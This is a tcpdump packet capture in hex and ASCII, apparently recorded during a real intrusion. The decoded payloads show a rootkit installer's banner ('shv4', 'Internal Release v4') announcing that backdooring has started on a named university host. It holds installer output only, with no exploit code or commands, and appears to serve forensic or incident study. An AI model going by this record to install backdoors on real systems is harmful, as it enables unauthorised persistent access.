0x0000 4500 0073 f33c 4000 4006 86e2 800a 097e E..s.<@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c69e 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 4f7b 0000 0101 080a 0020 7611 ..!.O{........v.
0x0030 25bb 3c96 2e2e 2e20 2e2e 2e2e 2e2e 2e2e %.<.............
0x0040 2e2e 202e 2e2e 2e2e 2e2e 2e2e 2e20 2e2e ................
0x0050 2e2e 2e2e 2e2e 2e2e 2038 3825 2040 2035 .........88%.@.5
0x0060 3337 2e36 3320 4b42 2f73 0a20 2034 3030 37.63.KB/s...400
0x0070 4b20 2e K..
05:35:47.812475 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2977 win 31856 <nop,nop,timestamp 633027736 2127360> (DF)
0x0000 4500 0034 caeb 4000 3106 be72 d380 635d E..4..@.1..r..c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c66e ...~.9...er.O..n
0x0020 8010 7c70 a1ee 0000 0101 080a 25bb 3c98 ..|p........%.<.
0x0030 0020 7600 ..v.
05:35:47.822620 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3088:3089(1) ack 1229 win 8576 <nop,nop,timestamp 2127380 633027736> (DF)
0x0000 4500 0035 f33d 4000 4006 871f 800a 097e E..5.=@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c6dd 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 ce52 0000 0101 080a 0020 7614 ..!..R........v.
0x0030 25bb 3c98 2e %.<..
05:35:47.822623 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3088:3089(1) ack 1229 win 8576 <nop,nop,timestamp 2127380 633027736> (DF)
0x0000 4500 0035 f33d 4000 4006 871f 800a 097e E..5.=@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c6dd 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 ce52 0000 0101 080a 0020 7614 ..!..R........v.
0x0030 25bb 3c98 2e %.<..
05:35:47.822872 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3089:3090(1) ack 1229 win 8576 <nop,nop,timestamp 2127380 633027736> (DF)
0x0000 4500 0035 f33e 4000 4006 871e 800a 097e E..5.>@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c6de 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 ce51 0000 0101 080a 0020 7614 ..!..Q........v.
0x0030 25bb 3c98 2e %.<..
05:35:47.822875 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3089:3090(1) ack 1229 win 8576 <nop,nop,timestamp 2127380 633027736> (DF)
0x0000 4500 0035 f33e 4000 4006 871e 800a 097e E..5.>@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c6de 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 ce51 0000 0101 080a 0020 7614 ..!..Q........v.
0x0030 25bb 3c98 2e %.<..
05:35:47.822912 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3090:3091(1) ack 1229 win 8576 <nop,nop,timestamp 2127380 633027736> (DF)
0x0000 4500 0035 f33f 4000 4006 871d 800a 097e E..5.?@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c6df 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 ce50 0000 0101 080a 0020 7614 ..!..P........v.
0x0030 25bb 3c98 2e %.<..
05:35:47.822915 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3090:3091(1) ack 1229 win 8576 <nop,nop,timestamp 2127380 633027736> (DF)
0x0000 4500 0035 f33f 4000 4006 871d 800a 097e E..5.?@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c6df 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 ce50 0000 0101 080a 0020 7614 ..!..P........v.
0x0030 25bb 3c98 2e %.<..
05:35:47.823364 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3091:3092(1) ack 1229 win 8576 <nop,nop,timestamp 2127380 633027736> (DF)
0x0000 4500 0035 f340 4000 4006 871c 800a 097e E..5.@@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c6e0 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 ce4f 0000 0101 080a 0020 7614 ..!..O........v.
0x0030 25bb 3c98 2e %.<..
05:35:47.823367 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3091:3092(1) ack 1229 win 8576 <nop,nop,timestamp 2127380 633027736> (DF)
0x0000 4500 0035 f340 4000 4006 871c 800a 097e E..5.@@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c6e0 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 ce4f 0000 0101 080a 0020 7614 ..!..O........v.
0x0030 25bb 3c98 2e %.<..
05:35:47.823968 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3092:3093(1) ack 1229 win 8576 <nop,nop,timestamp 2127380 633027736> (DF)
0x0000 4500 0035 f341 4000 4006 871b 800a 097e E..5.A@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c6e1 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 ce4e 0000 0101 080a 0020 7614 ..!..N........v.
0x0030 25bb 3c98 2e %.<..
05:35:47.823972 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3092:3093(1) ack 1229 win 8576 <nop,nop,timestamp 2127380 633027736> (DF)
0x0000 4500 0035 f341 4000 4006 871b 800a 097e E..5.A@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c6e1 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 ce4e 0000 0101 080a 0020 7614 ..!..N........v.
0x0030 25bb 3c98 2e %.<..
05:35:47.827423 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3093:3094(1) ack 1229 win 8576 <nop,nop,timestamp 2127380 633027736> (DF)
0x0000 4500 0035 f342 4000 4006 871a 800a 097e E..5.B@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c6e2 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 ce4d 0000 0101 080a 0020 7614 ..!..M........v.
0x0030 25bb 3c98 2e %.<..
05:35:47.827427 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3093:3094(1) ack 1229 win 8576 <nop,nop,timestamp 2127380 633027736> (DF)
0x0000 4500 0035 f342 4000 4006 871a 800a 097e E..5.B@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c6e2 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 ce4d 0000 0101 080a 0020 7614 ..!..M........v.
0x0030 25bb 3c98 2e %.<..
05:35:47.832919 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 3017 win 31856 <nop,nop,timestamp 633027738 2127362> (DF)
0x0000 4500 0034 caf2 4000 3106 be6b d380 635d E..4..@.1..k..c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c696 ...~.9...er.O...
0x0020 8010 7c70 a1c2 0000 0101 080a 25bb 3c9a ..|p........%.<.
0x0030 0020 7602 ..v.
05:35:47.833253 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3094:3103(9) ack 1229 win 8576 <nop,nop,timestamp 2127381 633027738> (DF)
0x0000 4500 003d f343 4000 4006 8711 800a 097e E..=.C@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c6e3 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 1597 0000 0101 080a 0020 7615 ..!...........v.
0x0030 25bb 3c9a 2e2e 2e20 2e2e 2e2e 2e %.<..........
05:35:47.833256 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3094:3103(9) ack 1229 win 8576 <nop,nop,timestamp 2127381 633027738> (DF)
0x0000 4500 003d f343 4000 4006 8711 800a 097e E..=.C@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c6e3 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 1597 0000 0101 080a 0020 7615 ..!...........v.
0x0030 25bb 3c9a 2e2e 2e20 2e2e 2e2e 2e %.<..........
05:35:47.833603 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3103:3104(1) ack 1229 win 8576 <nop,nop,timestamp 2127381 633027738> (DF)
0x0000 4500 0035 f344 4000 4006 8718 800a 097e E..5.D@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c6ec 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 ce40 0000 0101 080a 0020 7615 ..!..@........v.
0x0030 25bb 3c9a 2e %.<..
05:35:47.833606 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3103:3104(1) ack 1229 win 8576 <nop,nop,timestamp 2127381 633027738> (DF)
0x0000 4500 0035 f344 4000 4006 8718 800a 097e E..5.D@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c6ec 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 ce40 0000 0101 080a 0020 7615 ..!..@........v.
0x0030 25bb 3c9a 2e %.<..
05:35:47.863023 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 3025 win 31856 <nop,nop,timestamp 633027741 2127364> (DF)
0x0000 4500 0034 caff 4000 3106 be5e d380 635d E..4..@.1..^..c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c69e ...~.9...er.O...
0x0020 8010 7c70 a1b5 0000 0101 080a 25bb 3c9d ..|p........%.<.
0x0030 0020 7604 ..v.
05:35:47.863398 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3104:3108(4) ack 1229 win 8576 <nop,nop,timestamp 2127384 633027741> (DF)
0x0000 4500 0038 f345 4000 4006 8714 800a 097e E..8.E@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c6ed 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 9fda 0000 0101 080a 0020 7618 ..!...........v.
0x0030 25bb 3c9d 2e2e 2e2e %.<.....
05:35:47.863401 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3104:3108(4) ack 1229 win 8576 <nop,nop,timestamp 2127384 633027741> (DF)
0x0000 4500 0038 f345 4000 4006 8714 800a 097e E..8.E@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c6ed 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 9fda 0000 0101 080a 0020 7618 ..!...........v.
0x0030 25bb 3c9d 2e2e 2e2e %.<.....
05:35:48.052484 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 3116 win 31856 <nop,nop,timestamp 633027760 2127384> (DF)
0x0000 4500 0034 cb6f 4000 3106 bdee d380 635d E..4.o@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c6f9 ...~.9...er.O...
0x0020 8010 7c70 a133 0000 0101 080a 25bb 3cb0 ..|p.3......%.<.
0x0030 0020 7618 ..v.
05:35:48.172678 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 3303 win 31856 <nop,nop,timestamp 633027772 2127396> (DF)
0x0000 4500 0034 cbbd 4000 3106 bda0 d380 635d E..4..@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c7b4 ...~.9...er.O...
0x0020 8010 7c70 a060 0000 0101 080a 25bb 3cbc ..|p.`......%.<.
0x0030 0020 7624 ..v$
05:35:51.001368 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3303:3378(75) ack 1229 win 8576 <nop,nop,timestamp 2127696 633027772> (DF)
0x0000 4500 007f f34f 4000 4006 86c3 800a 097e E....O@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c7b4 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 02c7 0000 0101 080a 0020 7750 ..!...........wP
0x0030 25bb 3cbc 1b5b 303b 3336 6d5b 1b5b 313b %.<..[0;36m[.[1;
0x0040 3337 6d73 681b 5b30 3b33 366d 5d23 2053 37msh.[0;36m]#.S
0x0050 6974 2079 3030 7220 6173 7320 6430 776e it.y00r.ass.d0wn
0x0060 2077 6869 6c33 2077 3320 696e 7374 616c .whil3.w3.instal
0x0070 6c20 7368 7634 2e2e 2e20 1b5b 306d 0a l.shv4.....[0m.
05:35:51.001378 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3303:3378(75) ack 1229 win 8576 <nop,nop,timestamp 2127696 633027772> (DF)
0x0000 4500 007f f34f 4000 4006 86c3 800a 097e E....O@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c7b4 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 02c7 0000 0101 080a 0020 7750 ..!...........wP
0x0030 25bb 3cbc 1b5b 303b 3336 6d5b 1b5b 313b %.<..[0;36m[.[1;
0x0040 3337 6d73 681b 5b30 3b33 366d 5d23 2053 37msh.[0;36m]#.S
0x0050 6974 2079 3030 7220 6173 7320 6430 776e it.y00r.ass.d0wn
0x0060 2077 6869 6c33 2077 3320 696e 7374 616c .whil3.w3.instal
0x0070 6c20 7368 7634 2e2e 2e20 1b5b 306d 0a l.shv4.....[0m.
05:35:51.165683 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3378:3459(81) ack 1229 win 8576 <nop,nop,timestamp 2127713 633027772> (DF)
0x0000 4500 0085 f350 4000 4006 86bc 800a 097e E....P@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c7ff 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 a5c2 0000 0101 080a 0020 7761 ..!...........wa
0x0030 25bb 3cbc 1b5b 303b 3336 6d5b 1b5b 313b %.<..[0;36m[.[1;
0x0040 3337 6d73 681b 5b30 3b33 366d 5d23 204e 37msh.[0;36m]#.N
0x0050 4f20 5041 5443 4849 4e47 2054 4849 5320 O.PATCHING.THIS.
0x0060 5645 5253 494f 4e20 2e2e 2e20 646f 2069 VERSION.....do.i
0x0070 7420 6d61 6e75 616c 6c79 2042 6974 6368 t.manually.Bitch
0x0080 1b5b 306d 0a .[0m.
05:35:51.165693 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3378:3459(81) ack 1229 win 8576 <nop,nop,timestamp 2127713 633027772> (DF)
0x0000 4500 0085 f350 4000 4006 86bc 800a 097e E....P@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c7ff 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 a5c2 0000 0101 080a 0020 7761 ..!...........wa
0x0030 25bb 3cbc 1b5b 303b 3336 6d5b 1b5b 313b %.<..[0;36m[.[1;
0x0040 3337 6d73 681b 5b30 3b33 366d 5d23 204e 37msh.[0;36m]#.N
0x0050 4f20 5041 5443 4849 4e47 2054 4849 5320 O.PATCHING.THIS.
0x0060 5645 5253 494f 4e20 2e2e 2e20 646f 2069 VERSION.....do.i
0x0070 7420 6d61 6e75 616c 6c79 2042 6974 6368 t.manually.Bitch
0x0080 1b5b 306d 0a .[0m.
05:35:51.192920 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 3378 win 31856 <nop,nop,timestamp 633028074 2127696> (DF)
0x0000 4500 0034 d317 4000 3106 b646 d380 635d E..4..@.1..F..c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c7ff ...~.9...er.O...
0x0020 8010 7c70 9dbb 0000 0101 080a 25bb 3dea ..|p........%.=.
0x0030 0020 7750 ..wP
05:35:51.200878 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3459:4832(1373) ack 1229 win 8576 <nop,nop,timestamp 2127717 633028074> (DF)
0x0000 4500 0591 f351 4000 4006 81af 800a 097e E....Q@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c850 2e65 72e3 ..c]...9O..P.er.
0x0020 8018 2180 8c40 0000 0101 080a 0020 7765 ..!..@........we
0x0030 25bb 3dea 0a0a 1b5b 313b 3337 6d3d 3d3d %.=....[1;37m===
0x0040 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d ================
0x0050 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d ================
0x0060 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d ================
0x0070 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d ================
0x0080 3d1b 5b30 6d0a 0a1b 5b30 3b33 366d 2020 =.[0m...[0;36m..
0x0090 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x00a0 2020 5f5f 5f20 2020 2020 2020 2020 2020 ..___...........
0x00b0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x00c0 2020 2020 200a 2020 2020 2020 2020 2020 ................
0x00d0 2020 2020 2020 2020 202f 5c20 205c 2020 ........./\..\..
0x00e0 2020 2020 2020 2020 2020 2020 2020 205f ..............._
0x00f0 5f5f 2020 2020 2020 2020 2020 2020 2020 __..............
0x0100 2020 200a 2020 2020 2020 2020 2020 2020 ................
0x0110 2020 2020 2020 2f3a 3a5c 2020 5c20 2020 ....../::\..\...
0x0120 2020 2020 2020 2020 2020 2020 2f5c 2020 ............/\..
0x0130 5c20 2020 2020 2020 2020 2020 2020 2020 \...............
0x0140 200a 2020 2020 2020 2020 2020 2020 2020 ................
0x0150 2020 202f 3a3a 3a3a 5c20 205c 2020 2020 .../::::\..\....
0x0160 2020 2020 2020 2020 202f 3a3a 5c5f 5f5c ........./::\__\
0x0170 2020 2020 2020 2020 2020 2020 2020 200a ................
0x0180 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0190 2f3a 3a3a 3a3a 3a5c 2020 5c20 2020 2020 /::::::\..\.....
0x01a0 2020 2020 2020 2f3a 3a3a 2f20 202f 2020 ....../:::/../..
0x01b0 2020 2020 2020 2020 2020 2020 200a 2020 ................
0x01c0 2020 2020 2020 2020 2020 2020 202f 3a3a ............./::
0x01d0 3a2f 5c3a 3a3a 5c5f 5f5c 2020 2020 2020 :/\:::\__\......
0x01e0 2020 202f 3a3a 3a2f 5f5f 2f5f 5f5f 2020 .../:::/__/___..
0x01f0 2020 2020 2020 2020 2020 200a 2020 2020 ................
0x0200 2020 2020 2020 2020 2020 5f5c 3a3a 3a5c .........._\:::\
0x0210 7e5c 3a3a 2f20 202f 2020 2020 2020 2020 ~\::/../........
0x0220 2f3a 3a3a 3a5c 2020 2f5c 2020 5c20 2020 /::::\../\..\...
0x0230 2020 2020 2020 2020 200a 2020 2020 2020 ................
0x0240 2020 2020 2020 202f 5c20 5c3a 3a3a 5c20 ......./\.\:::\.
0x0250 5c2f 5f5f 2f20 2020 2048 2020 202f 3a3a \/__/....H.../::
0x0260 3a3a 3a3a 5c2f 3a3a 5c5f 5f5c 2020 2020 ::::\/::\__\....
0x0270 2020 2020 2020 200a 2020 2020 2020 2020 ................
0x0280 5320 2020 2f3a 3a5c 205c 3a3a 3a5c 5f5f S.../::\.\:::\__
0x0290 5c20 2020 2020 2020 4120 205c 3a3a 2f5c \.......A..\::/\
0x02a0 3a3a 3a3a 3a3a 2f20 202f 2020 2020 2020 ::::::/../......
0x02b0 2020 2020 200a 2020 2020 2020 2020 2048 ...............H
0x02c0 2020 5c3a 3a3a 5c2f 3a3a 3a2f 2020 2f20 ..\:::\/:::/../.
0x02d0 2020 2020 2020 2043 2020 5c2f 5f5f 5c3a .......C..\/__\:
0x02e0 3a3a 3a2f 2020 2f20 2020 2020 2020 2020 :::/../.........
0x02f0 2020 200a 2020 2020 2020 2020 2020 4b20 ..............K.
0x0300 205c 3a3a 3a3a 3a3a 2f20 202f 2020 2020 .\::::::/../....
0x0310 2020 2020 2020 4b20 2020 2020 2f3a 3a3a ......K...../:::
0x0320 2f20 202f 2020 2020 2020 2020 2020 2020 /../............
0x0330 200a 2020 2020 2020 2020 2020 2055 2020 .............U..
0x0340 5c3a 3a3a 3a2f 2020 2f20 2020 205f 5f5f \::::/../....___
0x0350 2020 2020 2045 2020 202f 3a3a 3a2f 2020 .....E.../:::/..
0x0360 2f20 2020 205f 5f5f 2020 2020 2020 200a /....___........
0x0370 2020 2020 2020 2020 2020 2020 5020 205c ............P..\
0x0380 3a3a 2f20 202f 2020 2020 2f5c 5f5f 5c20 ::/../..../\__\.
0x0390 2020 2020 5220 205c 3a3a 2f20 202f 2020 ....R..\::/../..
0x03a0 2020 2f5c 5f5f 5c20 2020 2020 200a 2020 ../\__\.........
0x03b0 2020 2020 2020 2020 2020 2049 2020 5c2f ...........I..\/
0x03c0 5f5f 2f20 2020 2020 5c2f 5f5f 2f20 2020 __/.....\/__/...
0x03d0 2020 2053 2020 5c2f 5f5f 2f20 2020 2020 ...S..\/__/.....
0x03e0 5c2f 5f5f 2f1b 5b30 6d0a 0a20 1b5b 303b \/__/.[0m....[0;
0x03f0 3336 6d5b 1b5b 313b 3337 6d73 681b 5b30 36m[.[1;37msh.[0
0x0400 3b33 366d 5d20 496e 7465 726e 616c 2052 ;36m].Internal.R
0x0410 656c 6561 7365 2076 3420 6279 2050 696e elease.v4.by.Pin
0x0420 5475 5269 6369 201b 5b30 6d0a 0a1b 5b31 TuRici..[0m...[1
0x0430 3b33 376d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d ;37m============
0x0440 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d ================
0x0450 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d ================
0x0460 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d ================
0x0470 3d3d 3d3d 3d3d 3d3d 1b5b 306d 0a1b 5b30 ========.[0m..[0
0x0480 3b33 366d 5b1b 5b31 3b33 376d 7368 1b5b ;36m[.[1;37msh.[
0x0490 303b 3336 6d5d 2320 6261 636b 646f 6f72 0;36m]#.backdoor
0x04a0 696e 6720 7374 6172 7465 6420 6f6e 201b ing.started.on..
0x04b0 5b31 3b33 376d 6361 6972 6f32 2e63 732e [1;37mcairo2.cs.
0x04c0 7075 7264 7565 2e65 6475 1b5b 306d 0a1b purdue.edu.[0m..
0x04d0 5b30 3b33 366d 5b1b 5b31 3b33 376d 7368 [0;36m[.[1;37msh
0x04e0 1b5b 303b 3336 6d5d 2320 2020 2020 2020 .[0;36m]#.......
0x04f0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0500 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0510 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0520 2020 2020 2020 2020 2020 201b 5b30 6d0a ............[0m.
0x0530 1b5b 303b 3336 6d5b 1b5b 313b 3337 6d73 .[0;36m[.[1;37ms
0x0540 681b 5b30 3b33 366d 5d23 2020 2020 2020 h.[0;36m]#......
0x0550 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0560 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0570 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0580 2020 2020 2020 2020 2020 2020 1b5b 306d .............[0m
0x0590 0a .
05:35:51.200896 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3459:4832(1373) ack 1229 win 8576 <nop,nop,timestamp 2127717 633028074> (DF)
0x0000 4500 0591 f351 4000 4006 81af 800a 097e E....Q@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c850 2e65 72e3 ..c]...9O..P.er.
0x0020 8018 2180 8c40 0000 0101 080a 0020 7765 ..!..@........we
0x0030 25bb 3dea 0a0a 1b5b 313b 3337 6d3d 3d3d %.=....[1;37m===
0x0040 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d ================
0x0050 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d ================
0x0060 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d ================
0x0070 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d ================
0x0080 3d1b 5b30 6d0a 0a1b 5b30 3b33 366d 2020 =.[0m...[0;36m..
0x0090 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x00a0 2020 5f5f 5f20 2020 2020 2020 2020 2020 ..___...........
0x00b0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x00c0 2020 2020 200a 2020 2020 2020 2020 2020 ................
0x00d0 2020 2020 2020 2020 202f 5c20 205c 2020 ........./\..\..
0x00e0 2020 2020 2020 2020 2020 2020 2020 205f ..............._
0x00f0 5f5f 2020 2020 2020 2020 2020 2020 2020 __..............
0x0100 2020 200a 2020 2020 2020 2020 2020 2020 ................
0x0110 2020 2020 2020 2f3a 3a5c 2020 5c20 2020 ....../::\..\...
0x0120 2020 2020 2020 2020 2020 2020 2f5c 2020 ............/\..
0x0130 5c20 2020 2020 2020 2020 2020 2020 2020 \...............
0x0140 200a 2020 2020 2020 2020 2020 2020 2020 ................
0x0150 2020 202f 3a3a 3a3a 5c20 205c 2020 2020 .../::::\..\....
0x0160 2020 2020 2020 2020 202f 3a3a 5c5f 5f5c ........./::\__\
0x0170 2020 2020 2020 2020 2020 2020 2020 200a ................
0x0180 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0190 2f3a 3a3a 3a3a 3a5c 2020 5c20 2020 2020 /::::::\..\.....
0x01a0 2020 2020 2020 2f3a 3a3a 2f20 202f 2020 ....../:::/../..
0x01b0 2020 2020 2020 2020 2020 2020 200a 2020 ................
0x01c0 2020 2020 2020 2020 2020 2020 202f 3a3a ............./::
0x01d0 3a2f 5c3a 3a3a 5c5f 5f5c 2020 2020 2020 :/\:::\__\......
0x01e0 2020 202f 3a3a 3a2f 5f5f 2f5f 5f5f 2020 .../:::/__/___..
0x01f0 2020 2020 2020 2020 2020 200a 2020 2020 ................
0x0200 2020 2020 2020 2020 2020 5f5c 3a3a 3a5c .........._\:::\
0x0210 7e5c 3a3a 2f20 202f 2020 2020 2020 2020 ~\::/../........
0x0220 2f3a 3a3a 3a5c 2020 2f5c 2020 5c20 2020 /::::\../\..\...
0x0230 2020 2020 2020 2020 200a 2020 2020 2020 ................
0x0240 2020 2020 2020 202f 5c20 5c3a 3a3a 5c20 ......./\.\:::\.
0x0250 5c2f 5f5f 2f20 2020 2048 2020 202f 3a3a \/__/....H.../::
0x0260 3a3a 3a3a 5c2f 3a3a 5c5f 5f5c 2020 2020 ::::\/::\__\....
0x0270 2020 2020 2020 200a 2020 2020 2020 2020 ................
0x0280 5320 2020 2f3a 3a5c 205c 3a3a 3a5c 5f5f S.../::\.\:::\__
0x0290 5c20 2020 2020 2020 4120 205c 3a3a 2f5c \.......A..\::/\
0x02a0 3a3a 3a3a 3a3a 2f20 202f 2020 2020 2020 ::::::/../......
0x02b0 2020 2020 200a 2020 2020 2020 2020 2048 ...............H
0x02c0 2020 5c3a 3a3a 5c2f 3a3a 3a2f 2020 2f20 ..\:::\/:::/../.
0x02d0 2020 2020 2020 2043 2020 5c2f 5f5f 5c3a .......C..\/__\:
0x02e0 3a3a 3a2f 2020 2f20 2020 2020 2020 2020 :::/../.........
0x02f0 2020 200a 2020 2020 2020 2020 2020 4b20 ..............K.
0x0300 205c 3a3a 3a3a 3a3a 2f20 202f 2020 2020 .\::::::/../....
0x0310 2020 2020 2020 4b20 2020 2020 2f3a 3a3a ......K...../:::
0x0320 2f20 202f 2020 2020 2020 2020 2020 2020 /../............
0x0330 200a 2020 2020 2020 2020 2020 2055 2020 .............U..
0x0340 5c3a 3a3a 3a2f 2020 2f20 2020 205f 5f5f \::::/../....___
0x0350 2020 2020 2045 2020 202f 3a3a 3a2f 2020 .....E.../:::/..
0x0360 2f20 2020 205f 5f5f 2020 2020 2020 200a /....___........
0x0370 2020 2020 2020 2020 2020 2020 5020 205c ............P..\
0x0380 3a3a 2f20 202f 2020 2020 2f5c 5f5f 5c20 ::/../..../\__\.
0x0390 2020 2020 5220 205c 3a3a 2f20 202f 2020 ....R..\::/../..
0x03a0 2020 2f5c 5f5f 5c20 2020 2020 200a 2020 ../\__\.........
0x03b0 2020 2020 2020 2020 2020 2049 2020 5c2f ...........I..\/
0x03c0 5f5f 2f20 2020 2020 5c2f 5f5f 2f20 2020 __/.....\/__/...
0x03d0 2020 2053 2020 5c2f 5f5f 2f20 2020 2020 ...S..\/__/.....
0x03e0 5c2f 5f5f 2f1b 5b30 6d0a 0a20 1b5b 303b \/__/.[0m....[0;
0x03f0 3336 6d5b 1b5b 313b 3337 6d73 681b 5b30 36m[.[1;37msh.[0
0x0400 3b33 366d 5d20 496e 7465 726e 616c 2052 ;36m].Internal.R
0x0410 656c 6561 7365 2076 3420 6279 2050 696e elease.v4.by.Pin
0x0420 5475 5269 6369 201b 5b30 6d0a 0a1b 5b31 TuRici..[0m...[1
0x0430 3b33 376d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d ;37m============
0x0440 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d ================
0x0450 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d ================
0x0460 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d ================
0x0470 3d3d 3d3d 3d3d 3d3d 1b5b 306d 0a1b 5b30 ========.[0m..[0
0x0480 3b33 366d 5b1b 5b31 3b33 376d 7368 1b5b ;36m[.[1;37msh.[
0x0490 303b 3336 6d5d 2320 6261 636b 646f 6f72 0;36m]#.backdoor
0x04a0 696e 6720 7374 6172 7465 6420 6f6e 201b ing.started.on..
0x04b0 5b31 3b33 376d 6361 6972 6f32 2e63 732e [1;37mcairo2.cs.
0x04c0 7075 7264 7565 2e65 6475 1b5b 306d 0a1b purdue.edu.[0m..
0x04d0 5b30 3b33 366d 5b1b 5b31 3b33 376d 7368 [0;36m[.[1;37msh
0x04e0 1b5b 303b 3336 6d5d 2320 2020 2020 2020 .[0;36m]#.......
0x04f0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0500 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0510 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0520 2020 2020 2020 2020 2020 201b 5b30 6d0a ............[0m.
